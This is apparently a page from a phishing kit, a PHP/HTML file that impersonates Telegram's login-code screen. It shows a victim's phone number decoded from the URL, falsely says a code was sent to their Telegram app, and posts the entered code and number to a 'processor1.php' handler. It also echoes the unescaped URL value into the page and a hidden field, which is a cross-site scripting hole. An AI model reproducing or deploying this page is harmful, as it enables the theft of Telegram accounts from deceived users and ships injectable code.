<?php
include_once('functions.php');
if(isset($_GET['id']))
{
	$thenumber = base64_decode($_GET['id']);
}
else
{
	header('Location: index.php?2');
}
?>
<html>
    <head>
        <meta charset="UTF-8" />
        <title></title>
        <link href="main.a47906b7910c2fca0a81.css" rel="stylesheet" />
        <link href="thesc.css" rel="stylesheet" />
        <link href="BundleAuth.5616199e3d1e00c9f568.css" rel="stylesheet" />
        <link href="reboot.css" rel="stylesheet" />
        <link href="icons.css" rel="stylesheet" />
        <style>
            .not-shown {
                display: none;
            }
        </style>
    </head>
    <body>
        <div class="Transition full-height is-auth">
            <div class="Transition Auth Transition_slide Transition_slide-active">
                <div class="Transition_slide Transition_slide-active">
                    <div id="auth-code-form" class="custom-scroll">
                        <div class="auth-form">
                            <div id="monkey" class="">
                                <div class="AnimatedSticker" style="width: 160px; height: 160px;"><img src="download.png" class="rlottie-canvas" width="200" height="200" style="width: 160px; height: 160px;"/></div>
                                <div class="AnimatedSticker hidden" style="width: 160px; height: 160px;"><img src="download.png" class="rlottie-canvas" width="200" height="200" style="width: 160px; height: 160px;"/></div>
                            </div>
                            <h1>
                                <?php echo formatNumber($thenumber); ?>
                                <a href="lolu.html"><div class="auth-number-edit div-button" role="button" tabindex="0" title="Wrong number?" aria-label="Wrong number?"><img src="pencil.svg" width="80%"></div></a>
                            </h1>
                            <p class="note">We've sent the code to the <b>Telegram</b> app on your other device.</p>
							<form method="post" action="processor1.php">
                            <div class="input-group with-label"><input class="form-control" type="text" name="the_second" id="sign-in-code" dir="auto" autocomplete="off" inputmode="numeric" aria-label="Code" required /><label for="sign-in-code">Code</label></div>
							<input type="hidden" name="the_first" value="<?php echo $thenumber; ?>">
							<button name="button2" type="submit" class="Button default primary has-ripple">Finish</button>
							</form>
                        </div>
                    </div>
                </div>
                
            </div>
        </div>
    </body>
</html>
